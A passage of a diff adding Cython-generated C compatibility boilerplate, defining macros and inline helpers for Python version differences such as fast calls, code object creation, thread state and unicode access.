#elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define 